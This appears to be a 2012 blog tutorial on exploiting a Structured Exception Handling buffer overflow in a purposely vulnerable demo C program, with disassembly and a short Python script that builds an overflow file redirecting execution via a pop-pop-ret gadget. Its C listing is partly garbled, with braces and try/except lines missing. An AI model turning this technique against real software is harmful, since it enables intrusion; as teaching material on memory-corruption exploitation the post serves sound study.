Monday, April 30, 2012

Simple Structured Exception Handling (SEH) Exploit Example

In this post I will demonstrate how to exploit Structured Exception Handling (SEH) buffer overflow vulnerability on x86 systems.

What is Structured Exception Handling and how it works?

Microsoft's Structured Exception Handling is a mechanism for handling hardware and software exceptions (both system and user defined), which allows recovering from errors and perform cleanup if necessary instead of terminating a program immediately.

The SEH represented as a linked list, whose records are stored on the stack. To ease access to this SEH chain, its head pointer maintained in Win32 Thread Information Block (TIB) structure. The TIB structure stores information about currently running thread. On x86 systems, the FS segment register points on TIB structure. SEH chain head located at offset 0x00, and therefore, you can refer to SEH chain head as FS:[0].

Each entry (_EXCEPTION_REGISTRATION_RECORD structure) consists from two 4-byte pointers:
  1. Pointer to the next exception registration record in the chain
  2. Pointer to the exception handling routine
The chain's last record always contains 0xFFFFFFFF value as the "next entry" and pointer to OS default exception handler routine (located in ntdll.dll!FinalExceptionHandler)

Once the exception occurs, the runtime unwinds the stack and calls the exception handler routine associated with the first SEH entry. Exception handler should first decide what to do. It can handle the exception by itself (EXCEPTION_EXECUTE_HANDLER constant), pass the exception to next exception handler without doing anything (EXCEPTION_CONTINUE_SEARCH constant) or rerun the instruction that caused the exception (EXCEPTION_CONTINUE_EXECUTION constant). Once found appropriate handler that accepts to handle the exception, and the specified code executed, next statement after the exception handler block will be executed.

Note: C++ and .NET use other exception models, which are implemented on top of SEH. However, they are out of scope of this post. 

For additional SEH-related info see:

The Preparations

As a target, I will use the same program from my last post, with slight adjustments.

Don't expect this program to do something reasonable - the code is only for demonstration purposes. It receives file name as program parameter, unsafely reads the file's content into local buffer. Then the buffer's content converted into integer and divided within the try-except block.

#include <string.h>
#include <stdio.h>
void foo (FILE * fileDescr)
    char  c[12];
    long lSize;
    int mySecretNumber;
    fseek (fileDescr , 0 , SEEK_END);
    lSize = ftell (fileDescr);
    rewind (fileDescr);
    fread(c, 1, lSize, fileDescr);
    mySecretNumber = atoi(c);
        mySecretNumber = mySecretNumber / mySecretNumber;
        printf("In the exception handler");
int main (int argc, char **argv)
    FILE * fileDescr = NULL;
    if(fileDescr = fopen(argv[1], "r"))

I'm using fread function to allow stack buffer overflow, converting the buffer to integer using atoi function and dividing the file's contents for triggering the SEH mechanism with possible EXCEPTION_INT_DIVIDE_BY_ZERO exception.

The dividing operation wrapped with try-except statement. This statement is Microsoft's extension to C language, which allows to utilize the Structured Exception Handling mechanism.

As in previous post, I disabled the buffer security check(/GS-) and compiler optimization. Additionally, I disabled DEP (/NXCOMPAT:NO). If you have troubles with configuration, check my previous post for more details. Last but not least, I disabled SAFESEH in Visual Studio Project Properties > Linker > Command Line > Additional options > I added the "/SAFESEH:NO" option.

SEH Chain

I compiled the program and loaded the executable in IDA Pro.
Look at the foo() function disassembly to see which code compiler generates:

.text:00401000 var_2C= byte ptr -2Ch
.text:00401000 var_20= dword ptr -20h
.text:00401000 var_1C= dword ptr -1Ch
.text:00401000 var_18= dword ptr -18h
.text:00401000 var_10= dword ptr -10h
.text:00401000 var_4= dword ptr -4
.text:00401000 arg_0= dword ptr  8
.text:00401000 push    ebp
.text:00401001 mov     ebp, esp
.text:00401003 push    0FFFFFFFFh
.text:00401005 push    offset unk_4021F8
.text:0040100A push    offset __except_handler3
.text:0040100F mov     eax, large fs:0
.text:00401015 push    eax
.text:00401016 mov     large fs:0, esp
.text:0040101D add     esp, 0FFFFFFE4h
.text:00401020 push    ebx
.text:00401021 push    esi
.text:00401022 push    edi
.text:00401023 mov     [ebp+var_18], esp
.text:00401026 push    2          
.text:00401028 push    0               
.text:0040102A mov     eax, [ebp+arg_0]
.text:0040102D push    eax             ; FILE *
.text:0040102E call    ds:__imp__fseek
.text:00401034 add     esp, 0Ch
.text:00401037 mov     ecx, [ebp+arg_0]
.text:0040103A push    ecx             ; FILE *
.text:0040103B call    ds:__imp__ftell
.text:00401041 add     esp, 4
.text:00401044 mov     [ebp+var_20], eax
.text:00401047 mov     edx, [ebp+arg_0]
.text:0040104A push    edx             ; FILE *
.text:0040104B call    ds:__imp__rewind
.text:00401051 add     esp, 4
.text:00401054 mov     eax, [ebp+arg_0]
.text:00401057 push    eax             ; FILE *
.text:00401058 mov     ecx, [ebp+var_20]
.text:0040105B push    ecx             ; size_t
.text:0040105C push    1               ; size_t
.text:0040105E lea     edx, [ebp+var_2C]
.text:00401061 push    edx             ; void *
.text:00401062 call    ds:__imp__fread
.text:00401068 add     esp, 10h
.text:0040106B lea     eax, [ebp+var_2C]
.text:0040106E push    eax             ; char *
.text:0040106F call    ds:__imp__atoi
.text:00401075 add     esp, 4
.text:00401078 mov     [ebp+var_1C], eax
.text:0040107B mov     [ebp+var_4], 0
.text:00401082 mov     eax, [ebp+var_1C]
.text:00401085 cdq
.text:00401086 idiv    [ebp+var_1C]
.text:00401089 mov     [ebp+var_1C], eax
.text:0040108C mov     [ebp+var_4], 0FFFFFFFFh
.text:00401093 jmp     short loc_4010

.text:00401095 mov     eax, 1
.text:0040109A retn

.text:0040109B mov     esp, [ebp-18h]
.text:0040109E push    offset aInTheException ; "In the exception handler"
.text:004010A3 call    ds:__imp__printf
.text:004010A9 add     esp, 4
.text:004010AC mov     [ebp+var_4], 0FFFF

.text:004010B3 loc_4010B3:
.text:004010B3 mov     ecx, [ebp+var_10]
.text:004010B6 mov     large fs:0, ecx
.text:004010BD pop     edi
.text:004010BE pop     esi
.text:004010BF pop     ebx
.text:004010C0 mov     esp, ebp
.text:004010C2 pop     ebp
.text:004010C3 retn
.text:004010C3 foo endp

The most interesting instructions marked in red.
In the very beginning (starting from .text:0040100A), both exception handler's address and address of the next entry in the SEH chain (FS:0, remember?) pushed onto the stack. Just before the function completes (.text:004010B3), address of next entry in the SEH chain copied back to the head.

Let's run the program and see how the stack looks like:

The exception handler pointer located at 0x18FF28, just four bytes above the pointer to next entry in SEH chain (which points to 0x18FF78). I will follow the chain to show you how it looks. Next entry located at 0x18FF78:

As previously, we find the same structure here: at 0x18FF78 pointer to the next entry in the chain, and four bytes below located this entry's exception handler. Let's proceed to 0x18FFC4:

0x18FFC4 contains 0xFFFFFFFF value, which means that this is the last entry in SEH linked list, and the  0x77DE1ECD is OS default exception handler address.

The Exploit

First of all, I will cause stack buffer overflow with intent of overwriting the exception handler's address. I will use Metasploit's pattern_create.rb tool to generate a string of non-repeating characters and pattern_offset.rb tool to determine the exact exception handler offset.

I specified this file name as a parameter to our program.
The stack was smashed with this 100-characters long string. atoi function returned 0, since no valid conversion could be performed. This causes the EXCEPTION_INT_DIVIDE_BY_ZERO exception in IDIV instruction at 0x401086:

Once I pressed on Yes button, the SEH mechanism found the address pointed by FS:[0], and tried to jump to this entry's exception handler's address (recall - it is located 4 bytes above the SEH entry pointer).

But it contains random value, because I previously overwrote it. Program execution terminates here.
The 0x31624130 value symbolizes the exception handler placeholder. Converting it to ASCII gives the "0Ab1" substring.

So the exception handler offset is 32 characters. Now I know how to jump to another instruction. But where I should jump? Let's analyze the registers and the stack:

I can't use the classic "JMP R32" instruction, because none of the registers point on the shellcode's area (the shellcode I wrote resides at approximately 0x18FF00).
Let's look at the stack:

Do you see what is the value at 0x18FAE4? You're right! This is the address of our SEH entry (0x18FF24). Coincidence!? NO!!
Once exception occurred in the system, exception dispatcher calls the first specified exception handler and passes to it parameters. The second parameter is EstablisherFrame, which holds the address of exception registration record.

So I should overwrite exception handler routine's address with a pointer to POP R32 + POP R32 + RET instruction sequence.

OllyDbg finds the following sequence at 0x4012AD in program's module:

As I wrote before, this sequence will eventually jump to the address stored in the exception registration record. I will overwrite it with jump 6 bytes forward - right after the exception handling routine address.

Great! Let's summarize it into a shell script. The buffer will contain 28 characters (32 is the offset we found previously - 4 bytes of exception registration record overwrite).

buffer = 'a' * 28
addr1 = "%c%c%c%c" % (0xeb, 0x06, 0x90, 0x90)
addr2 = "%c%c%c%c" % (0xad, 0x12, 0x40, 0x00)
shellcode = open('shellcode.txt', 'wb')
shellcode.write(buffer + addr1 + addr2)

The Result

This is how the stack looks right after the call to fread function:

Same exception handling dialog appears again:

But this time it jumps to 0x4012AD (the overwritten exception handling routine), which in turn jumps to 0x18FF24 (the overwritten exception registration record). The JMP 6h will jump to 0x18FF2C, where I can write any shellcode that I want.

For additional reading:
Corelan's SEH Exploit tutorial and same tutorial on YouTube
Stephen Bradshaw SEH Exploit on InfoSec
TechNet article

No comments:

Post a Comment